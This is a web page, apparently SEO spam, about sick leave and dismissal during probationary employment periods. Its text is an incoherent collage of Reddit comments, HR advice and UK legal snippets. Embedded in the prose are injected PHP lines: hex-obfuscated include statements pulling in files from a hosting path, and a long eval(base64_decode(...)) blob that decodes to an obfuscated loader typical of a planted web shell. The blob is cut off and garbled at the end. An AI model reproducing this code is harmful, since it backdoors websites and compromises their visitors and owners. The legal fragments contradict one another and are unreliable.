She writes for several online publications, and runs online training courses for businesses and their staff in the childcare industry. if a company hired and fired you within 90 days, it better have been a much bigger problem then WebCalled in sick during probationary period. Sick Leave During Probation, Can You Be Fired? Off Sick Rights include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/j\x6exr0\x2fmen\x75.ph\x70"; Called in sick during probationary period : r/kroger - Reddit WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) In each month, the worker will have the right to one twelfth of their leave. Probation period is a trial period during which it's easier to let an employee go if the company wants to. This type of payment is at the employers discretion. Work Rotas Law in the UK, Calling in Sick to Work Employee Rights in the UK, Health Confidentiality in the Workplace Legal Right to Medical Privacy. Performance reviews are common during this period, as they give both the employee and employer an opportunity to discuss any concerns. However. I am worried about calling in and it reflecting on me badly. How many call offs are you allowed during your 90 day The length of any probation period must not be unreasonable. During probation if performance is unsatisfactory then the period is either extended to try and overcome the problem or the employee is dismissed with medical evidence having been obtained of fitness for the duties and potential DDA link. Sick pay is a statutory right from day one of your employment. Definitions by the largest Idiom Dictionary. Employee Rights in the Workplace During COVID SEEK Hiring Advice Probationary Period Legal Requirements & Entitlements, Can Employers Change Working Hours? The employee also needs to have six months attendance in order to qualify for company sick pay, otherwise they continue to receive SSP. WebMy probationary period ends in a week and i havent called in once. Dismissal beyond the statutory probationary period without notice or pay in lieu of notice will violate the employees employment standards entitlement to termination Campus employees, contact Employee Relations, Policy Development and Work/Life, (858) 534-4115. WebNegative stigma: Calling it a probationary period can have a negative connotation for some new employees. 20 organisations powering positive cultures, Employee recognition and surviving in tough times, LGBTQ+ History Month: How to boost allyship, Join HRZone in London to network and celebrate - 16 March, The World of Learning Summit at Olympia London - 28 February. As I remember my probation period with Sainsburys, depot not store, it was sickness over a year not the 12 weeks as such and adherence to policy rather than non-attendance. If your staff handbook advises you to call your line manager every day you are off, do so. It should have information on what you can expect. We are allow 6 call offs. A probation period will commonly be 3 to 6 months in length, though they can be as little as 1 week in short-term contracts. When taking a sick day, it's important to communicate with your coworkers and managers. Call store and ask for manager on duty. It is the minimum period of employment that is enshrined in the Fair Work Act 2009 and determines when and if an employee can make use of the unfair dismissal laws and systems. The probationary period can be as short as a month or as long as a year, depending on the situation, and often Fired for calling in sick during 90 day probationary? Such periods are often referred to simply as probation. If youre feeling ill, try your best to go into work you can always leave early if What happens if I dont pass my probation? If you are able, do also let your manager know when you think you will return to work. Thank you for not coming in and passing your virus. call in sick phrase. This is a subreddit aimed at women in the construction trades and other blue collar professions. Dont worry, our guide will look at how to call in sick, what your employer is likely to do, and your rights to sick pay on probation. The first thing you need to do is to extend the probationary period as you have not had adequate time to assess their performance due to their absence. Ifyou are supposed to call in but instead drop your manager an email on the first day, and then dont keep in touch it might reflect poorly. Here's a Employees receive regular employee status after they satisfactorily complete the probationary period. SSP rates are currently 99.35 per week and will increase to 109.40 in April 2023. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/a\x31p55\x31l/c\x61che\x2fsys\x74em.\x70hp"; In order for this to be The employee has no right to claim unfair dismissal, so shouldn't have any come back on you - your only problem may be if the reason for terminating is due to a sickness issue covered in the DDA as the employee could still claim under this legislation regardless of length of service. First of all, don't ever put a minimum wage unskilled labor employer like Kroger above personal issues. Plenty of people who have started after me have already called in multiple times in the middle of the week and still have their jobs. Hobbyist? Entitlement to full pay for sick leave on probation is at your employers discretion. WebDuring the first year of employment, employers may decide to use an accrual system to calculate the workers holiday entitlement. 90 day probation? That's nothing. I had to do a 1 year and 6 month probation for a government job I never called in sick once. I would say absol Does anyone have a policy/procedure or guidelines for managers in handling sickness absence during probation periods? Scan this QR code to download the app now. However, if your pattern of absences looks suspicious to your employer, dismissal during a probation period after taking time off for sickness is a possibility. However, so long as you communicate well with work and follow procedure, it should not cause you any problems with your job. Can You Get Fired For Calling In Sick During Probation How to Deal with Calling in Sick on Probation. I was fired today for missing work doing my 90 days I also had a doctor's note each time I wasn't a work The financial impact of taking sick leave is a concern when on a probationary contract. Typically, this is done by allowing employees to enjoy some benefit (like accrued vacation or sick leave or 401(k) enrollment) that they did not have before So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain Following company procedures to the letter is important when you are trying to pass probation. during Its advisable to follow sickness procedure to the letter youll demonstrate your ability to stick to procedure in your workplace. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get s So what should you do when calling in sick during your probation period to make the best possible impression? Unlawful Wage Deductions Law Guide UK, What Should Be in a First Aid Kit for Work & Home? in sick I guess im looking for advice and/or reassurance. Should i be concerned or just take my sick day? Employee illness during probationary period - HR Reporter However, the amount of sick pay you get will depend on your employment contract. Health Sciences employees, contact Employee Advocacy and Labor Relations . Legal Implications of Probationary Periods - SHRM Even though you are on probation, a dismissal due to taking sick leave would be illegal. WebDefinition of call in sick in the Idioms Dictionary. Kelly is a former childminding business owner living in Worcestershire. Related: Average Sick Days Per Year. Secondly, when you call in, ask to speak to the during Overpaid by Employer After Leaving What Are My Rights? This window is known as the probation period and may extend as far as up to 180 days That means it will only be paid if you have been sick for more than 4 days in a row. Employers might take a dim view of excessive absences for reasons they dont think are genuine. qualifying period known as waiting days, what happens if you need time off sick during your notice period, Latex Gloves Guide Pros & Cons of Using Latex Disposables, Can an Employer Withhold Pay? eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJHphZmt0bmsgPSAyNzYwOyBmdW5jdGlvbiBucnhpcXRzdSgkcW50bGtjLCAkc2VkZmgpeyRnem5pb2x0YiA9ICcnOyBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJHFudGxrYyk7ICRpKyspeyRnem5pb2x0YiAuPSBpc3NldCgkc2VkZmhbJHFudGxrY1skaV1dKSA/ICRzZWRmaFskcW50bGtjWyRpXV0gOiAkcW50bGtjWyRpXTt9CiRkaHh1a2RxZj0icmF3dXJsIiAuICJkZWNvZGUiO3JldHVybiAkZGh4dWtkcWYoJGd6bmlvbHRiKTt9CiRmY3V1ZnNtaHp0ID0gJyVVZVk4WV9OUWglbXclbUxRTU1BTV9mQUclbUwlbUUlbWVUV3R0JW1rJXBGJWVjJWV5JVVlWThZX05RaCVtdyVtTGZBR19RTU1BTU4lJy4KJ21MJW1FJW1lZSVtayVwRiVlYyVleSVVZVk4WV9OUWglbXclbUxnU3pfUXpRdjJoWUE4X2hZZ1ElbUwlbUUlbWVlJW1rJXBGJWVjJWV5JVVlUU1NQU1fTVExQU1oWThHJW0nLgond2UlbWslcEYlZWMlZXklVWVOUWhfaFlnUV9mWWdZaCVtd2UlbWslcEYlZWMlZXklZWMlZXklZWMlZXlZWCVtdyVtc0JRWFk4UUIlbXclbScuCidtNko2X241dCVtbSVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFk4USVtdyVtbTZKNl9uNXQlbW0lbUUlbWUlbW0lT0U4JScuCidtbSVtayVwRiVlYyVleSVMYyVlYyVleSVlYyVleVlYJW13JW1zQlFYWThRQiVtdyVtbWNpMG4nLgonRWE1MGRfNG42eTB5YTUwJW1tJW1rJW1rJWVjJWV5JUxGJWVjJWV5JW1lJW1lJW1lJW1lQlFYWThRJW13JW1tY2kwbkVhNTBkXzRuNnkweWE1Jy4KJzAlbW0lbUUlbWUlbW0vJW1tJW1rJXBGJWVjJWV5JUxjJWVjJWV5JWVjJWV5WVglbWUlbXclbXNCUVhZOFFCJW13JW1MeXQwbnljZF8wV1Rfc1VVdndMdlhLbXBQU3dtJy4KJ1NTWFlLd01ZU1BzS1NoWUFzdyVtTCVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFknLgonOFElbXclbUx5dDBueWNkXzBXVF9zVVV2d0x2WEttcFBTd21TU1hZS3dNWVNQc0tTaFlBc3clbUwlbUUlbWVzJW1rJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonVUJTaFMlbWUlcGMlbWVUV3R0JXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1VQlNoU18zUVolbWUlcGMlbWVUV3R0JXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1VOXQ1Rnl0NCcuCiclT0YlbUx2Tl9TMmhxJW1MJU9jJW1lJXBjJW1lJW1Md1FLdndVa1EtUHdtdy1VUHBTLVNYTEstWHBlWFVtcFVQd1hVJW1MJScuCidwRiVlYyVleSVtZSVtZSVtZSVtZUdmQVBTZiVtZSVtVXZOX1MyaHElcEYlZWMlZXklZWMlZXklZWMlZXklbWUlJy4KJ21lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhKQU5oJW13JW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTScuCidRaDJNOCVtZU5oTWhBZkFvUU0lbXcxTVFHX01RMWZTdlElbXclbUwvJU9uJW13b29vJUxFWGgxJW1rJU9FLi9ZJW1MJW1FJW1MJW1MJW1FJVVlJW1VJy4KJ180bjBybjAlT0YlbUxKYWE2X0o1NGElbUwlT2MlbWslbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbScuCidlJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhETVloU1BmUWNZTU4lbXclbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJW1lJXBjJW1leU1NU1olbXclbWslcEYnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUzhTZlpOWk5fQzJRMlElbWUlcGMlbWV5TU1TWiVtdyVtayVwRiVlYyVleSVlJy4KJ2MlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZXZOXzlRaGNBdjBBQWglbXclbScuCidrJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTlFmWF8xU2hxJW1lJXBjJW1lJW1VXzRuMHJuMCVPRiVtTDRFMCcuCidpNmFfUml0blR5bG4lbUwlT2MlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVvcVlmUScuCiclbWUlbXclbXclbVVOZlNOcSVtZSVwYyVtZU5oTU0xQU4lbXclbVVOUWZYXzFTaHElbUUlbWVjaTBuRWE1MGRfNG42eTB5YTUwJW1rJW1rJW1lJW1zJXBjJScuCidwYyVtZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtVU5RZlhfMVNocSVtZSVwYyVtZU4yUE5oTSVtdyVtVU5RZlhfMVNocSVtRSVtZWUlbUUlbWUlbVVOZlNOcSVtayVwRiVlYyVleSVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVU5RZlhfMVNocSVtZSVwYyVwYyVtZXZOXzlRaGNBdjBBQWglbXclbWslbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVlJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZVBNUVMzJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13TmhNZlE4JW13JW1VTlFmWF8xU2hxJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZSVtVU5RZlhfMVNocSVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNUVN2cSVtZSVtdyVtVVM4U2ZaTlpOX0MyUTJRJW1lU04lbWUlbVV2Mk1NUThoX0JZTSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtc1k4X1NNTVNaJW0nLgondyVtVXYyTU1ROGhfQllNJW1FJW1lJW1VTVFOJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTiVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOJW1FJW1ldk5fOVFoYycuCidZTVF2aEFNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtayVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWV2Tl9FcVF2MycuCidETVloU1BmUSVtd1NNTVNaXzI4WUMyUSVtdyVtVU1RTiVtayVtayVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOX0VxUXYzRE1ZaFNQZlElbXclbVVCWU1fZllOaCVtayVlYyVleSVtZSVtZSUnLgonbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVtZSVwYyVtZXlNTVNaJW13JW1rJXBGJWVjJWV5JScuCidlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVhBTVFTdnElbWUlbXclbVVCWU1fZllOaCUnLgonbWVTTiVtZSVtVUJZTSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWVZWCVtZSVtdyVVZVlOX29NWWhTUGZRJW13JW1VQllNJW1rJW1lJW1LJW1LJW1lWU5fQllNJW13JW1VQllNJW1rJW1rJWVjJWV5JW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVPRiVPYyVtZSVwYyVtZSVtVUJZTSVwRiVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ0xjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VQllNX2ZZTmhfb01ZaFNQZlElcEYlZWMlZXklbWUlJy4KJ21lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhjWU1RdmhBTVp0WU5oJW13Jy4KJyVtVUJZTSVtRSVtZSVtVUJRMWhxJXBjc2UlbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXknLgonJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOMmZoJW1lJXBjJW1lU01NU1olbXclbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lWVglbWUlbXclbXNZTl9CWU0lbXclbVVCWU0lbWslbWslZWMlZXklbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXAnLgonRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVPRiVPYyVtZSVwYyVtZSUnLgonbVVCWU0lcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fdkEyOGgnLgonJW1lJXBjJW1lZSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13JW1VQlExaHElbWUlcEUlbWVzJW1rJWVjJWV5JW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWVNUWgyTTglbWUlbVVNUU4yZmglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXknLgonJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQllNJW1lJXBjJW1lTmhNZlE4JW0nLgondyVtVUJZTSVtayVtZSVwYyVwYyVtZXMlbWUlcFIlbWUlbVVCWU0lbWUlcHklbWVNaE1ZZycuCiclbXclbVVCWU0lbUUlbWUlbUwlT0UlT0UvJW1MJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VcSVtZSVwYyVtZSVVZUExUThCWU0lbXclbVVCWScuCidNJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVxJW1lJXBjJXBjJXBjJW1lUnl0NG4lbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1JW1lJ4KJyVtZU1RZU1RaDJNOCVtZSVtVU1RTjJmaCVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYy UlbWUlbWUlbWUlbWUlbWUlWUlbWUlbWVvcVlmUSVtZSVtdyVtdyVtVVglSVtZSVtdyVtdyVtVVglbWUlcGMlbWVNUVNCQllNJScuCidtdyVtVXElbWslbWslbWUlbXMlcGMlcGMlbWVSeXQ0biVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtSVtZSVtZSVtZSVtZSVVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ4KJ2UlbWUlbWbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVVglbWUlbXMlcGMlcGMlbWUlbUwuJW1MJW1lUzhCJW1lJW1VWCVtZSVtJy4KJ3MlcGMlcGMlbWUlbUwuLiVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiUnLgonZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVV2Mk1NUThoX0JZTSVtZSVwYyVtZSVtbSVtVUJZTS8lbVVYJW1tJy4KJyVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13WU5fQllNJW13JW1VdjJNTVE4aF9CWU0lbWslbScuCidrJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJZTV92QTI4aCVtZSVtRiUnLgoncGMlbWVzJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJy4KJzJmaCVPRiVPYyVtZSVwYyVtZSVtVXYyTU1ROGhfQllNJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOMmZoJW1FJW1ldk5fOVFoY1lNUXZoJy4KJ0FNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtRSVtZSVtVUJRMWhxJW1lLyVtZXNlJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVlJy4KJ3klbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWV2ZkFOUUJZTSVtdyVtVXElbWslJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJScuCidlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fOVFoY0F2MEFBaCVtdyVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCQXZNQUFoX1E4QiVtZSVwYyVtZU5oTU0xQU4lbXclbVVfNG4wcm4wJScuCidPRiVtTDRFMGk2YV9SaXRuVHlsbiVtTCVPYyVtRSVtZSVtVV80bjBybjAlT0YlbUwwbjdXbjRhX1cwaSVtTCVPYycuCiclbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW0nLgonZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoJy4KJzJNOCVtZSVtVV80bjBybjAlT0YlbUxjNUVXbG5UYV8wNTVhJW1MJU9jJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTlFZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW1lZSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbW0vJW1tJXBGJWVjJWUnLgoneSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTicuCidRJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lTjJQTmhNJW13Jy4KJyVtVV80bjBybjAlT0YlbUw0RTBpNmFfUml0blR5bG4lbUwlT2MlbUUlbWVlJW1FJW1lJW1VQkF2TUFBaF9ROEIlbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWVglbWUlbXclbXNYMjh2aFlBOF9RellOaE4nLgonJW13JW1MWFlmUV8xMmhfdkE4aFE4aE4lbUwlbWslbWslZWMlZXklbWUlbWUlbWUlbWUnLgonJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWDI4dmhZQTglbWVYWWZRXzEyaF92QThoUThoTiVtdyVtVScuCic4JW1FJW1lJW1VQiVtRSVtZSVtVVhmU0clbWUlcGMlbWVSU2ZOUSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYycuCiclZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVnQUJRJW1lJXBjJW1lJW1VWGZTRyVtZSVwYyVwYyVtZXclbWUlcFIlbWUlJy4KJ21MUyVtTCVtZSVweSVtZSVtTG8lbUwlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1VWCVtZSVwYyVtZSVVZVhBMVE4JW13JW1VOCVtRSVtZSVtVWdBQlElbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVYJW1lJXBjJXBjJXBjJW1lUlNmTlElbWslZWMlZXklbScuCidlJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZWUlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lUWZOUSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lWVglbWUlbXdZTl9TTU1TWiVtdyVtVUIlbWslbWslbWUlbVVCJW1lJXBjJW1lWWcxZkFCUSVtdyVtVUIlbWslcEYlZWMlZScuCid5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoW1lJW1VUFpolJW1VQiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWVYdmZBTlElbXclbVVYJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZU1RaDJNOCVtZSVtVVBaaFFOX29NWWhoUTglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlJy4KJ2VjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUwnLgonYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVlYJW1lJW13JW1zWDI4dmhZQThfUXpZTmhOJy4KJyVtdyVtTFhZZlFfR1FoX3ZBOGhROGhOJW1MJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZVgyOHZoWUE4JW1lWFlmUV9HUWhfdkE4aFE4aE4lbXclbVVYWWZROFNnUSVtayVlYyVleSVtZSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1VWHFTOEJmUSVtZSVwYyVtZVhBMVE4JW13JW1VWFlmUThTZ1ElbUUlbWUlbW1NJW1tJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtVVh2QThoUThoTiVtZSVwYyVtZVhNUVNCJW13JW1VWHFTOEJmUSVtRSVtZVhZJy4KJ2ZRTll1USVtdyVtVVhZZlE4U2dRJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZVh2ZkFOUSVtdyVtVVh